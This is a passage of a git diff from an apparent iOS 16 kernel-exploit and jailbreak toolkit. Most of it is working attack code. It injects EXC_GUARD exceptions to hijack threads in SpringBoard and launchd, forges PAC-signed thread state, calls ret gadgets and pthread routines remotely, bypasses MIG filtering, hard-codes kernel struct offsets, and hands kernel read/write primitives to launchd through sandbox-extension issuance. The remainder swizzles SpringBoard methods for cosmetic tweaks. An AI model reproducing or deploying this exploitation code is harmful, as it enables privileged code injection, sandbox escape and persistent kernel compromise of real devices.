rc_ios16_log_guard_target("after-inactive-fallback-500ms", inactiveFallbackThread, firstPortAddr); + } else { + RC_IOS16_DEBUG_LOG("(rc.iOS16) inactive fallback Inject EXC_GUARD on thread:0x%llx failed\n", + inactiveFallbackThread); + } + } else { + RC_IOS16_DEBUG_LOG("(rc.iOS16) inactive fallback setExceptionPort failed thread=0x%llx\n", + inactiveFallbackThread); + } + fflush(stdout); + } + + if (useMigFilterBypass) { + mig_bypass_pause(); + } + + RC_IOS16_DEBUG_LOG("(rc.iOS16) %s first-exception target threads=%d max_valid=%d\n", process, successThreadCount, RC_IOS16_MAX_THREAD_CANDIDATES); + printf("(rc) Valid threads: %d\n", validThreadCount); + printf("(rc) Injected threads: %d\n", successThreadCount); + fflush(stdout); + + if (_threadList.count == 0) { + printf("(rc) Exception injection failed. Aborting.\n"); + [self destroyRemoteCall]; + return -1; + } + + excmsg exc; + g_rc_ios16_last_active_injected_thread = 0; + if (!rc_ios16_wait_first_exception(firstExceptionPort, &exc, process, _threadList)) { + printf("(rc) Failed to receive first exception\n"); + for (NSNumber *thread in _threadList) { + rc_ios16_log_guard_target("before-timeout-clear", thread.unsignedLongLongValue, firstPortAddr); + printf("(rc) Clearing pending EXC_GUARD after first-exception timeout: 0x%llx\n", thread.unsignedLongLongValue); + rc_ios16_clear_guard_ast_from_cpu(thread.unsignedLongLongValue, "timeout"); + clearguardexc(thread.unsignedLongLongValue); + } + [self destroyRemoteCall]; + return -1; + } + + if (g_rc_ios16_last_active_injected_thread) { + BOOL observedThreadWasInjected = NO; + for (NSNumber *threadValue in _threadList) { + if (rc_kernel_ptr_matches(threadValue.unsignedLongLongValue, g_rc_ios16_last_active_injected_thread)) { + observedThreadWasInjected = YES; + break; + } + } + if (observedThreadWasInjected && !rc_kernel_ptr_matches(_trojanThreadAddr, g_rc_ios16_last_active_injected_thread)) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) first exception attributed to active thread: old_trojan=0x%llx active=0x%llx\n", + _trojanThreadAddr, g_rc_ios16_last_active_injected_thread); + fflush(stdout); + _trojanThreadAddr = g_rc_ios16_last_active_injected_thread; + } + } + + memcpy(&_originalState, &exc.threadState, sizeof(arm_thread_state64_internal)); + if (g_rc_ios16_first_landing_pacia_enabled) { + NSMutableString *paciaResult = g_rc_ios16_first_landing_pacia_result; + if (paciaResult) { + [paciaResult appendFormat:@"process=%s task=0x%llx first_port=0x%x first_port_obj=0x%llx trojan_thread=0x%llx thread_count=%lu\n", + process, + _taskAddr, + firstExceptionPort, + firstPortAddr, + _trojanThreadAddr, + (unsigned long)_threadList.count]; + rc_append_exception_state_inventory(paciaResult, "first-exception", &exc, _trojanThreadAddr, firstPortAddr); + BOOL ok = [self runFirstLandingPaciaProbeWithResult:paciaResult exceptionPort:firstExceptionPort exception:&exc thread:_trojanThreadAddr firstPortAddr:firstPortAddr]; + [paciaResult appendFormat:@"probe_result=%d\n", ok]; + } else { + statereply(&exc, &exc.threadState); + } + [self destroyRemoteCall]; + return 0; + } + if (g_rc_ios16_first_landing_inventory_enabled) { + NSMutableString *inventory = g_rc_ios16_first_landing_inventory_result; + if (inventory) { + [inventory appendFormat:@"process=%s task=0x%llx first_port=0x%x first_port_obj=0x%llx trojan_thread=0x%llx thread_count=%lu\n", + process, + _taskAddr, + firstExceptionPort, + firstPortAddr, + _trojanThreadAddr, + (unsigned long)_threadList.count]; + rc_append_exception_state_inventory(inventory, "first-exception", &exc, _trojanThreadAddr, firstPortAddr); + } + for (NSNumber *thread in _threadList) { + rc_ios16_clear_guard_ast_from_cpu(thread.unsignedLongLongValue, "first-landing-inventory"); + clearguardexc(thread.unsignedLongLongValue); + } + BOOL replied = statereply(&exc, &exc.threadState); + if (inventory) { + [inventory appendFormat:@"reply_original_state=%d\n", replied]; + } + [self destroyRemoteCall]; + return replied ? 0 : -1; + } + for (NSNumber *thread in _threadList) { + rc_ios16_clear_guard_ast_from_cpu(thread.unsignedLongLongValue, "success"); + clearguardexc(thread.unsignedLongLongValue); + } + printf("(rc) Finish clearing EXC_GUARD from all other threads...\n"); + + excmsg exc2; + int desiredTimeout = 1500; + while (waitexc(firstExceptionPort, &exc2, desiredTimeout, false)) { + statereply(&exc2, &exc2.threadState); + } + + uint64_t trojanMemTemp = ((uint64_t)exc.threadState.__sp & 0x7fffffffffULL) - 0x4000ULL; + printf("(rc) trojanMemTemp: 0x%llx\n", trojanMemTemp); + fflush(stdout); + + _vmMap = task_get_vm_map(_taskAddr); + printf("(rc) vmMap: 0x%llx\n", _vmMap); + fflush(stdout); + + uint64_t firstThreadParkTrap = FAKE_PC_TROJAN_CREATOR; + _firstThreadReturnTrap = FAKE_LR_TROJAN_CREATOR; + _secondThreadReturnTrap = FAKE_LR_TROJAN; + _originalThreadNeedsRestore = true; + + arm_thread_state64_internal parkState = exc.threadState; + [self signState:_trojanThreadAddr withState:&parkState pc:firstThreadParkTrap lr:_firstThreadReturnTrap]; + if (!statereply(&exc, &parkState)) { + [self destroyRemoteCall]; + return -1; + } + + rc_ios16_log_local_symbol_probe("getpid", (void *)getpid); + rc_ios16_log_local_symbol_probe("pthread_create_suspended_np", (void *)pthread_create_suspended_np); + rc_ios16_log_local_symbol_probe("pthread_create", (void *)pthread_create); + rc_ios16_log_local_symbol_probe("pthread_mach_thread_np", (void *)pthread_mach_thread_np); + + uint64_t retGadget = rc_ios16_find_ret_gadget_near((void *)getpid); + rc_ios16_log_local_symbol_probe("ret_gadget_near_getpid", (void *)(uintptr_t)retGadget); + uint64_t retProbeArg = 0x123456789abcdef0ULL; + uint64_t retProbeArgs[] = { retProbeArg }; + uint64_t retProbe = retGadget ? [self doRemoteCallTempWithTimeout:100 + functionName:(char *)"ret_gadget" + functionPointer:(void *)retGadget + args:retProbeArgs + argCount:1] : 0; + RC_IOS16_DEBUG_LOG("(rc.iOS16) ret gadget probe addr=0x%llx arg=0x%llx ret=0x%llx\n", + retGadget, + retProbeArg, + retProbe); + fflush(stdout); + if (retProbe != retProbeArg) { + [self destroyRemoteCall]; + return -1; + } + + uint64_t threadStartTrap = FAKE_PC_TROJAN; + uint64_t remoteCrashSigned = remotepac(_trojanThreadAddr, threadStartTrap, 0); + printf("(rc) remoteCrashSigned: 0x%llx\n", remoteCrashSigned); + fflush(stdout); + if (!remoteCrashSigned) { + [self destroyRemoteCall]; + return -1; + } + + uint64_t pthreadCreateCommon = rc_ios16_resolve_second_unconditional_branch_target("pthread_create_suspended_np", (void *)pthread_create_suspended_np); + rc_ios16_log_local_symbol_probe("pthread_create_common_ios16", (void *)(uintptr_t)pthreadCreateCommon); + if (!pthreadCreateCommon) { + [self destroyRemoteCall]; + return -1; + } + + uint64_t createThreadArgs[] = { + trojanMemTemp, + 0, + remoteCrashSigned, + 0, + 2, + }; + RC_IOS16_DEBUG_LOG("(rc.iOS16) pthread_create_common temp-call begin func=0x%llx slot=0x%llx attr=0x0 start=0x%llx arg=0x0 flags=0x2 remoteCrashSigned=0x%llx\n", + pthreadCreateCommon, + trojanMemTemp, + threadStartTrap, + remoteCrashSigned); + fflush(stdout); + uint64_t createThreadRet = [self doRemoteCallTempWithTimeout:100 + functionName:(char *)"pthread_create_common_ios16" + functionPointer:(void *)(uintptr_t)pthreadCreateCommon + args:createThreadArgs + argCount:5]; + RC_IOS16_DEBUG_LOG("(rc.iOS16) pthread_create_common temp-call end ret=0x%llx\n", createThreadRet); + fflush(stdout); + printf("(rc) trojanMemTemp: 0x%llx\n", trojanMemTemp); + uint64_t pthreadAddr = self[trojanMemTemp].value64; + printf("(rc) pthreadAddr: 0x%llx\n", pthreadAddr); + if (createThreadRet != 0 || !pthreadAddr) { + if (strcmp(process, "SpringBoard") == 0) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) pthread_create_suspended_np did not produce a pthread for SpringBoard; treating init as failed to avoid fake success\n"); + fflush(stdout); + self.lastError = @"iOS16 SpringBoard RemoteCall needs a working extra thread; pthread_create_suspended_np returned no pthread"; + [self destroyRemoteCall]; + return -1; + } + RC_IOS16_DEBUG_LOG("(rc.iOS16) pthread_create_suspended_np unavailable through temp RC; falling back to original thread only\n"); + fflush(stdout); + _creatingExtraThread = false; + goto ios16_no_extra_thread; + } + + uint64_t callThreadPort = RemoteArbCallTempWithTimeout(100, self, pthread_mach_thread_np, pthreadAddr); + printf("(rc) callThreadPort: 0x%llx\n", callThreadPort); + if (!callThreadPort) { + [self destroyRemoteCall]; + return -1; + } + _callThreadAddr = rc_task_get_ipc_port_kobject(_taskAddr, (mach_port_t)callThreadPort); + if (!_callThreadAddr) { + [self destroyRemoteCall]; + return -1; + } + + if (useMigFilterBypass) { + mig_bypass_resume(); + } + if (![self setExceptionPortOnThread:secondExceptionPort forThread:_callThreadAddr useMigFilterBypass:useMigFilterBypass]) { + if (useMigFilterBypass) { + mig_bypass_pause(); + } + [self destroyRemoteCall]; + return -1; + } + if (useMigFilterBypass) { + mig_bypass_pause(); + } + + printf("(rc) All good! Resuming trojan thread...\n"); + RemoteArbCallTempWithTimeout(100, self, thread_resume, callThreadPort); + RC_IOS16_DEBUG_LOG("(rc.iOS16) thread_resume returned to trap; treating new thread as resumed\n"); + _creatingExtraThread = true; + + if (_creatingExtraThread) { + printf("(rc) New thread created, resuming original\n"); + [self restoreTrojanThreadWithState:&_originalState]; + _trojanThreadAddr = _callThreadAddr; + } + +ios16_no_extra_thread: + RC_IOS16_DEBUG_LOG("(rc.iOS16) Continuing with original thread as temp caller\n"); + + _pid = (int)ds_kread32(procAddr + off_proc_p_pid); + printf("(rc) Task pid: %d\n", _pid); + if (_pid <= 0) { + [self destroyRemoteCall]; + return -1; + } + + if (!_creatingExtraThread) { + _trojanMem = trojanMemTemp; + _trojanMemIsStackFallback = true; + _trojanMemScratchOffset = 0; + uint8_t *zeroPage = calloc(1, PAGE_SIZE); + BOOL clearedStackScratch = zeroPage && [self remote_write:_trojanMem from:zeroPage size:PAGE_SIZE]; + free(zeroPage); + RC_IOS16_DEBUG_LOG("(rc.iOS16) using stack fallback trojanMem=0x%llx clear=%d\n", + _trojanMem, + clearedStackScratch); + fflush(stdout); + if (!clearedStackScratch) { + _trojanMem = 0; + _trojanMemIsStackFallback = false; + _trojanMemScratchOffset = 0; + [self destroyRemoteCall]; + return -1; + } + } else { + _trojanMem = RemoteArbCallWithTimeout(100, self, mmap, 0, PAGE_SIZE, VM_PROT_READ | VM_PROT_WRITE, MAP_PRIVATE | MAP_ANON, (uint64_t)-1, 0); + _trojanMemIsStackFallback = false; + _trojanMemScratchOffset = 0; + } + if (!_trojanMem || _trojanMem == UINT64_MAX) { + _trojanMem = 0; + _trojanMemIsStackFallback = false; + _trojanMemScratchOffset = 0; + [self destroyRemoteCall]; + return -1; + } + + if (!_trojanMemIsStackFallback) { + RemoteArbCallWithTimeout(100, self, memset, _trojanMem, 0, PAGE_SIZE); + } + _success = true; + printf("(rc) Finished successfully\n"); + return 0; +} + +@end diff --git a/lara/kexploit/darksword.m b/lara/kexploit/darksword.m index 889c2876..b696ccba 100644 --- a/lara/kexploit/darksword.m +++ b/lara/kexploit/darksword.m @@ -1360,7 +1360,11 @@ static int pe(void) { pe_log("our_task: 0x%llx", our_task); if (stashkrw()) { pe_log("transferring primitives to launchd..."); - transfer_krw_to_launchd(); + if (transfer_krw_to_launchd()) { + pe_log("transferred primitives to launchd"); + } else { + pe_log("failed to transfer primitives to launchd"); + } } return 0; } diff --git a/lara/kexploit/offsets.m b/lara/kexploit/offsets.m index 2a36476b..60419014 100644 --- a/lara/kexploit/offsets.m +++ b/lara/kexploit/offsets.m @@ -629,6 +629,14 @@ void offsets_init(void) { off_thread_guard_exc_info_code = 0x308; off_thread_ast = 0x37c; off_thread_task_threads_next = 0x348; + if (isIOS16) { + off_thread_ro_tro_proc = 0x10; + off_thread_ro_tro_task = 0x20; + off_thread_t_tro = 0x360; + off_thread_mutex_lck_mtx_data = 0x390; + off_thread_ast = 0x334; + off_thread_task_threads_next = 0x350; + } off_proc_p_list_le_next = 0x0; off_proc_p_list_le_prev = 0x8; off_proc_p_proc_ro = 0x18; diff --git a/lara/kexploit/pe/rc.m b/lara/kexploit/pe/rc.m index a49a5838..4a2da3e4 100644 --- a/lara/kexploit/pe/rc.m +++ b/lara/kexploit/pe/rc.m @@ -26,6 +26,21 @@ #define PT_DETACH 11 #define PT_ATTACHEXC 14 +static bool rc_runtime_is_ios16(void) { + NSString *version = [[UIDevice currentDevice] systemVersion]; + return [version compare:@"16.0" options:NSNumericSearch] != NSOrderedAscending && + [version compare:@"17.0" options:NSNumericSearch] == NSOrderedAscending; +} + +static bool rc_ios16_require(const char *context, const char *name, uint64_t value) { + if (value) { + return true; + } + printf("(rc) iOS16: %s missing %s\n", context, name); + fflush(stdout); + return false; +} + void status_bar_time_format(RemoteCall *proc, const char *dateFormat) { if (!proc) { printf("(rc) RemoteCall not initialized\n"); @@ -157,6 +172,46 @@ static int hide_labels_in_view(RemoteCall *proc, uint64_t parentView) { return hidden; } +static int hide_icon_labels_swizzle(RemoteCall *proc, bool swizzleSetter) { + uint64_t clsNSObject = remote_getClass(proc, "NSObject"); + uint64_t clsSBIconView = remote_getClass(proc, "SBIconView"); + int swizzled = 0; + + if (clsNSObject && clsSBIconView) { + uint64_t selIsProxy = remote_sel(proc, "isProxy"); + uint64_t methodReturn0 = RemoteArbCall(proc, class_getInstanceMethod, clsNSObject, selIsProxy); + uint64_t impReturn0 = RemoteArbCall(proc, method_getImplementation, methodReturn0); + + uint64_t selAllowsGet = remote_sel(proc, "allowsLabelArea"); + uint64_t methodAllowsGet = RemoteArbCall(proc, class_getInstanceMethod, clsSBIconView, selAllowsGet); + if (methodAllowsGet && impReturn0) { + RemoteArbCall(proc, method_setImplementation, methodAllowsGet, impReturn0); + swizzled++; + printf("(rc) Swizzled allowsLabelArea to return NO\n"); + } + + if (swizzleSetter) { + uint64_t selSelf = remote_sel(proc, "self"); + uint64_t methodNoOp = RemoteArbCall(proc, class_getInstanceMethod, clsNSObject, selSelf); + uint64_t impNoOp = RemoteArbCall(proc, method_getImplementation, methodNoOp); + + uint64_t selSetAllows = remote_sel(proc, "setAllowsLabelArea:"); + uint64_t methodSetAllows = RemoteArbCall(proc, class_getInstanceMethod, clsSBIconView, selSetAllows); + if (methodSetAllows && impNoOp) { + RemoteArbCall(proc, method_setImplementation, methodSetAllows, impNoOp); + swizzled++; + printf("(rc) Swizzled setAllowsLabelArea: to no-op\n"); + } + } else { + printf("(rc) Skipped setAllowsLabelArea: swizzle\n"); + } + } else { + printf("(rc) Failed to find SBIconView or NSObject for swizzling\n"); + } + + return swizzled; +} + int hide_icon_labels(RemoteCall *proc) { if (!proc) { printf("(rc) RemoteCall not initialized\n"); @@ -164,6 +219,12 @@ int hide_icon_labels(RemoteCall *proc) { } printf("(rc) Hiding icon labels natively...\n"); + if (rc_runtime_is_ios16()) { + printf("(rc) iOS16: skip icon view walk; using SBIconView getter swizzle only\n"); + int swizzled = hide_icon_labels_swizzle(proc, false); + return swizzled ? swizzled : -1; + } + uint64_t selShared = remote_sel(proc, "sharedInstance"); uint64_t selIconMgr = remote_sel(proc, "iconManager"); uint64_t selCount = remote_sel(proc, "count"); @@ -192,36 +253,9 @@ int hide_icon_labels(RemoteCall *proc) { printf("(rc) Initial hidden labels: %d\n", totalHidden); - uint64_t clsNSObject = remote_getClass(proc, "NSObject"); - uint64_t clsSBIconView = remote_getClass(proc, "SBIconView"); - - if (clsNSObject && clsSBIconView) { - uint64_t selIsProxy = remote_sel(proc, "isProxy"); - uint64_t methodReturn0 = RemoteArbCall(proc, class_getInstanceMethod, clsNSObject, selIsProxy); - uint64_t impReturn0 = RemoteArbCall(proc, method_getImplementation, methodReturn0); - - uint64_t selSelf = remote_sel(proc, "self"); - uint64_t methodNoOp = RemoteArbCall(proc, class_getInstanceMethod, clsNSObject, selSelf); - uint64_t impNoOp = RemoteArbCall(proc, method_getImplementation, methodNoOp); + int swizzled = hide_icon_labels_swizzle(proc, true); - uint64_t selAllowsGet = remote_sel(proc, "allowsLabelArea"); - uint64_t methodAllowsGet = RemoteArbCall(proc, class_getInstanceMethod, clsSBIconView, selAllowsGet); - if (methodAllowsGet && impReturn0) { - RemoteArbCall(proc, method_setImplementation, methodAllowsGet, impReturn0); - printf("(rc) Swizzled allowsLabelArea to return NO\n"); - } - - uint64_t selSetAllows = remote_sel(proc, "setAllowsLabelArea:"); - uint64_t methodSetAllows = RemoteArbCall(proc, class_getInstanceMethod, clsSBIconView, selSetAllows); - if (methodSetAllows && impNoOp) { - RemoteArbCall(proc, method_setImplementation, methodSetAllows, impNoOp); - printf("(rc) Swizzled setAllowsLabelArea: to no-op\n"); - } - } else { - printf("(rc) Failed to find SBIconView or NSObject for swizzling\n"); - } - - return totalHidden; + return totalHidden ? totalHidden : swizzled; } int set_dock_icon_count(RemoteCall *proc, int count) { @@ -304,6 +338,8 @@ int five_icon_dock(RemoteCall *proc) { } int enable_upside_down(RemoteCall *proc) { + bool isIOS16 = rc_runtime_is_ios16(); + uint64_t clsSBAlertItemRootViewController = remote_getClass(proc, "SBAlertItemRootViewController"); uint64_t clsSBHomeScreenViewController = remote_getClass(proc, "SBHomeScreenViewController"); uint64_t clsSBCoverSheetPrimarySlidingViewController = remote_getClass(proc, "SBCoverSheetPrimarySlidingViewController"); @@ -325,22 +361,47 @@ int enable_upside_down(RemoteCall *proc) { uint64_t methodReturn1 = RemoteArbCall(proc, class_getInstanceMethod, clsSBCoverSheetPrimarySlidingViewController, selReturn1); uint64_t methodReturn6 = RemoteArbCall(proc, class_getInstanceMethod, clsSBShelfExpansionSwitcherModifier, selReturn6); uint64_t methodReturn0x1E = RemoteArbCall(proc, class_getInstanceMethod, clsSBAlertItemRootViewController, selOrientations); + + if (isIOS16) { + if (!methodAllowed || !methodHomeScreen || !methodLockScreen || + !methodOrientationMode || !methodSupportedOrientations || + !methodReturn1 || !methodReturn6 || !methodReturn0x1E) { + printf("(rc) iOS16: enable_upside_down missing method; aborting before method_setImplementation\n"); + fflush(stdout); + return -1; + } + } // swizzle these to a return 6 gadget aka UIInterfaceOrientationMaskPortrait | UIInterfaceOrientationMaskPortraitUpsideDown // -[SBShelfExpansionSwitcherModifier transactionCompletionOptions]: // mov w0, #0x6 // ret uint64_t return6Imp = RemoteArbCall(proc, method_getImplementation, methodReturn6); + if (isIOS16 && !return6Imp) { + printf("(rc) iOS16: enable_upside_down missing return6 IMP\n"); + fflush(stdout); + return -1; + } RemoteArbCall(proc, method_setImplementation, methodHomeScreen, (uint64_t)return6Imp); RemoteArbCall(proc, method_setImplementation, methodLockScreen, (uint64_t)return6Imp); // swizzle these to a return 1 gadget uint64_t return1Imp = RemoteArbCall(proc, method_getImplementation, methodReturn1); + if (isIOS16 && !return1Imp) { + printf("(rc) iOS16: enable_upside_down missing return1 IMP\n"); + fflush(stdout); + return -1; + } RemoteArbCall(proc, method_setImplementation, methodAllowed, (uint64_t)return1Imp); // forward _orientationMode to 0x1e //_supportedOrientations //uint64_t supportedImp = RemoteArbCall(proc, method_getImplementation, methodSupportedOrientations); uint64_t return0x1EImp = RemoteArbCall(proc, method_getImplementation, methodReturn0x1E); + if (isIOS16 && !return0x1EImp) { + printf("(rc) iOS16: enable_upside_down missing return0x1E IMP\n"); + fflush(stdout); + return -1; + } RemoteArbCall(proc, method_setImplementation, methodOrientationMode, (uint64_t)return0x1EImp); RemoteArbCall(proc, method_setImplementation, methodSupportedOrientations, (uint64_t)return0x1EImp); @@ -367,6 +428,11 @@ int enable_upside_down(RemoteCall *proc) { // FIXME: floating dock does not hide at all int enable_floating_dock(RemoteCall *proc) { + if (!proc) { + printf("(rc) RemoteCall not initialized\n"); + return -1; + } + bool isIOS16 = rc_runtime_is_ios16(); uint64_t clsReturn1 = remote_getClass(proc, "SBCoverSheetPrimarySlidingViewController"); uint64_t clsSBFloatingDockController = remote_getClass(proc, "SBFloatingDockController"); uint64_t clsSBIconController = remote_getClass(proc, "SBIconController"); @@ -385,14 +451,33 @@ int enable_floating_dock(RemoteCall *proc) { uint64_t methodSupported = RemoteArbCall(proc, class_getClassMethod, clsSBFloatingDockController, selSupported); uint64_t methodSupported2 = RemoteArbCall(proc, class_getClassMethod, clsSBFloatingDockController, selSupported2); uint64_t methodReturn1 = RemoteArbCall(proc, class_getInstanceMethod, clsReturn1, selReturn1); + + if (isIOS16 && + (!rc_ios16_require("floating dock", "SBFloatingDockController", clsSBFloatingDockController) || + !rc_ios16_require("floating dock", "SBIconController", clsSBIconController) || + !rc_ios16_require("floating dock", "SBMainWorkspace", clsSBMainWorkspace) || + !rc_ios16_require("floating dock", "isFloatingDockSupported method", methodSupported) || + !rc_ios16_require("floating dock", "isFloatingDockUtilitiesSupported method", methodSupported2) || + !rc_ios16_require("floating dock", "_canShowWhileLocked method", methodReturn1))) { + return -1; + } uint64_t return1Imp = RemoteArbCall(proc, method_getImplementation, methodReturn1); + if (isIOS16 && !rc_ios16_require("floating dock", "return1 IMP", return1Imp)) { + return -1; + } RemoteArbCall(proc, method_setImplementation, methodSupported, (uint64_t)return1Imp); RemoteArbCall(proc, method_setImplementation, methodSupported2, (uint64_t)return1Imp); uint64_t workspace = remote_msg(proc, clsSBMainWorkspace, selSharedInstance, 0,0,0,0); uint64_t mainWindowScene = remote_msg(proc, workspace, selMainWindowScene, 0,0,0,0); uint64_t iconController = remote_msg(proc, clsSBIconController, selSharedInstance, 0,0,0,0); + if (isIOS16 && + (!rc_ios16_require("floating dock", "SBMainWorkspace sharedInstance", workspace) || + !rc_ios16_require("floating dock", "mainWindowScene", mainWindowScene) || + !rc_ios16_require("floating dock", "SBIconController sharedInstance", iconController))) { + return -1; + } return ![proc doRemoteCallSyncOnMainThread:^{ uint64_t dockController; if (remote_msg(proc, iconController, selRespondsTo, createFloatingDock, 0,0,0)) { @@ -424,6 +509,11 @@ int enable_floating_dock(RemoteCall *proc) { } int enable_grid_app_switcher(RemoteCall *proc) { + if (!proc) { + printf("(rc) RemoteCall not initialized\n"); + return -1; + } + bool isIOS16 = rc_runtime_is_ios16(); uint64_t clsReturn2 = remote_getClass(proc, "SBDeckSwitcherModifier"); uint64_t clsSBAppSwitcherSettings = remote_getClass(proc, "SBAppSwitcherSettings"); @@ -432,8 +522,19 @@ int enable_grid_app_switcher(RemoteCall *proc) { uint64_t methodSupported = RemoteArbCall(proc, class_getInstanceMethod, clsSBAppSwitcherSettings, selStyle); uint64_t methodReturn2 = RemoteArbCall(proc, class_getInstanceMethod, clsReturn2, selReturn2); + + if (isIOS16 && + (!rc_ios16_require("grid app switcher", "SBAppSwitcherSettings", clsSBAppSwitcherSettings) || + !rc_ios16_require("grid app switcher", "SBDeckSwitcherModifier", clsReturn2) || + !rc_ios16_require("grid app switcher", "switcherStyle method", methodSupported) || + !rc_ios16_require("grid app switcher", "dockUpdateMode method", methodReturn2))) { + return -1; + } uint64_t return2Imp = RemoteArbCall(proc, method_getImplementation, methodReturn2); + if (isIOS16 && !rc_ios16_require("grid app switcher", "return2 IMP", return2Imp)) { + return -1; + } RemoteArbCall(proc, method_setImplementation, methodSupported, (uint64_t)return2Imp); // @@ -443,6 +544,11 @@ int enable_grid_app_switcher(RemoteCall *proc) { } int enable_debug_overlay(RemoteCall *proc) { + if (!proc) { + printf("(rc) RemoteCall not initialized\n"); + return -1; + } + bool isIOS16 = rc_runtime_is_ios16(); uint64_t clsSBMainWorkspace = remote_getClass(proc, "SBMainWorkspace"); uint64_t clsDebugOverlayWindow = remote_getClass(proc, "UIDebuggingInformationOverlay"); uint64_t clsDebugOverlayHandler = remote_getClass(proc, "UIDebuggingInformationOverlayInvokeGestureHandler"); @@ -467,7 +573,21 @@ int enable_debug_overlay(RemoteCall *proc) { // Swizzle -[UIDebuggingInformationOverlay init] to -[UIWindow init] to bypass internal check uint64_t methodWindowInit = RemoteArbCall(proc, class_getInstanceMethod, clsUIWindow, selInit); uint64_t methodOverlayInit = RemoteArbCall(proc, class_getInstanceMethod, clsDebugOverlayWindow, selInit); + if (isIOS16 && + (!rc_ios16_require("debug overlay", "SBMainWorkspace", clsSBMainWorkspace) || + !rc_ios16_require("debug overlay", "UIDebuggingInformationOverlay", clsDebugOverlayWindow) || + !rc_ios16_require("debug overlay", "UIDebuggingInformationOverlayInvokeGestureHandler", clsDebugOverlayHandler) || + !rc_ios16_require("debug overlay", "UIApplication", clsUIApplication) || + !rc_ios16_require("debug overlay", "UITapGestureRecognizer", clsUITapGestureRecognizer) || + !rc_ios16_require("debug overlay", "UIWindow", clsUIWindow) || + !rc_ios16_require("debug overlay", "UIWindow init method", methodWindowInit) || + !rc_ios16_require("debug overlay", "overlay init method", methodOverlayInit))) { + return -1; + } uint64_t impWindowInit = RemoteArbCall(proc, method_getImplementation, methodWindowInit); + if (isIOS16 && !rc_ios16_require("debug overlay", "UIWindow init IMP", impWindowInit)) { + return -1; + } RemoteArbCall(proc, method_setImplementation, methodOverlayInit, impWindowInit); // Set windowScene @@ -475,6 +595,12 @@ int enable_debug_overlay(RemoteCall *proc) { uint64_t mainWindowScene = remote_msg(proc, workspace, selMainWindowScene, 0,0,0,0); remote_msg(proc, clsDebugOverlayWindow, selPerform, selOverlay, 0, 1,0); // init window uint64_t debugOverlay = remote_msg(proc, clsDebugOverlayWindow, selOverlay, 0,0,0,0); + if (isIOS16 && + (!rc_ios16_require("debug overlay", "SBMainWorkspace sharedInstance", workspace) || + !rc_ios16_require("debug overlay", "mainWindowScene", mainWindowScene) || + !rc_ios16_require("debug overlay", "overlay", debugOverlay))) { + return -1; + } remote_msg(proc, debugOverlay, selPerform, selSetWindowScene, mainWindowScene, 1,0); // register gesture recognizer to the status bar @@ -484,6 +610,13 @@ int enable_debug_overlay(RemoteCall *proc) { remote_msg(proc, doubleTapGesture, selSetNumberOfTapsRequired, 2, 0,0,0); uint64_t app = remote_msg(proc, clsUIApplication, selSharedApplication, 0,0,0,0); uint64_t statusBar = remote_msg(proc, app, selStatusBar, 0,0,0,0); + if (isIOS16 && + (!rc_ios16_require("debug overlay", "main handler", target) || + !rc_ios16_require("debug overlay", "tap gesture", doubleTapGesture) || + !rc_ios16_require("debug overlay", "sharedApplication", app) || + !rc_ios16_require("debug overlay", "statusBarForEmbeddedDisplay", statusBar))) { + return -1; + } remote_msg(proc, statusBar, selPerform, selAddGestureRecognizer, doubleTapGesture, 1,0); RemoteArbCall(proc, objc_release, doubleTapGesture); diff --git a/lara/kexploit/persistence.m b/lara/kexploit/persistence.m index ef4c579b..1f705127 100644 --- a/lara/kexploit/persistence.m +++ b/lara/kexploit/persistence.m @@ -15,8 +15,16 @@ #import "TaskRop/RemoteCall.h" bool recover_proc_self(uint64_t launchd_proc); +static bool persist_is_ios16(void); +static bool transfer_krw_to_launchd_ios16(void); bool transfer_krw_to_launchd(void) { + bool useIOS16Persistence = persist_is_ios16(); + + if (useIOS16Persistence) { + return transfer_krw_to_launchd_ios16(); + } + RemoteCall *proc = [[RemoteCall alloc] initWithProcess:@"launchd" useMigFilterBypass:NO]; if (!proc) { printf("(persist) Failed to create RemoteCall for launchd\n"); @@ -144,3 +152,167 @@ bool recover_krw_primitives(void) { return true; } + +#pragma mark - iOS 16 + +#define PERSIST_RC_TIMEOUT 10000 +#define PERSIST_IOS16_RESEARCH_ENABLED 1 +#define PERSIST_LOG(...) do { printf("(persist) " __VA_ARGS__); fflush(stdout); } while (0) + +static bool persist_is_ios16(void) { +#if !PERSIST_IOS16_RESEARCH_ENABLED + return false; +#endif + NSOperatingSystemVersion version = [[NSProcessInfo processInfo] operatingSystemVersion]; + return version.majorVersion == 16; +} + +static bool persist_issue_and_consume_mach_extension(RemoteCall *proc, + uint64_t mem, + const char *extension_class, + const char *name) { + if (!proc || !extension_class || !name) { + return false; + } + + PERSIST_LOG("issue mach extension begin class=%s name=%s\n", extension_class, name); + proc[mem].string = @(extension_class); + proc[mem + 0x100].string = @(name); + + uint64_t tokenRemote = RemoteArbCallWithTimeout(PERSIST_RC_TIMEOUT, + proc, + sandbox_extension_issue_mach, + mem, + mem + 0x100, + 0); + PERSIST_LOG("remote sandbox_extension_issue_mach end token=0x%llx class=%s name=%s\n", + (unsigned long long)tokenRemote, + extension_class, + name); + if (!tokenRemote) { + return false; + } + + RemoteArbCallWithTimeout(PERSIST_RC_TIMEOUT, proc, strcpy, mem + 0x200, tokenRemote, 0); + NSString *token = proc[mem + 0x200].string; + if (token.length == 0) { + return false; + } + + int64_t consumed = sandbox_extension_consume(token.UTF8String); + PERSIST_LOG("consume mach extension class=%s name=%s result=%lld\n", + extension_class, + name, + (long long)consumed); + return consumed >= 1; +} + +static NSString *persist_issue_remote_mach_lookup_token(RemoteCall *proc, uint64_t mem, const char *name) { + if (!proc || !name) { + return nil; + } + + proc[mem].string = @(APP_MACH_LOOKUP); + proc[mem + 0x100].string = @(name); + + uint64_t tokenRemote = RemoteArbCallWithTimeout(PERSIST_RC_TIMEOUT, + proc, + sandbox_extension_issue_mach, + mem, + mem + 0x100, + 0); + PERSIST_LOG("remote sandbox_extension_issue_mach lookup end token=0x%llx name=%s\n", + (unsigned long long)tokenRemote, + name); + if (!tokenRemote) { + return nil; + } + + RemoteArbCallWithTimeout(PERSIST_RC_TIMEOUT, proc, strcpy, mem + 0x200, tokenRemote, 0); + NSString *token = proc[mem + 0x200].string; + return token.length ? token : nil; +} + +static bool persist_register_bootstrap_port(const char *name, mach_port_t port) { + if (!name || port == MACH_PORT_NULL) { + return false; + } + + kern_return_t kr = bootstrap_register(bootstrap_port, name, port); + if (kr == KERN_SUCCESS) { + PERSIST_LOG("bootstrap_register ok for %s\n", name); + return true; + } + + PERSIST_LOG("bootstrap_register failed for %s: %s\n", name, mach_error_string(kr)); + return false; +} 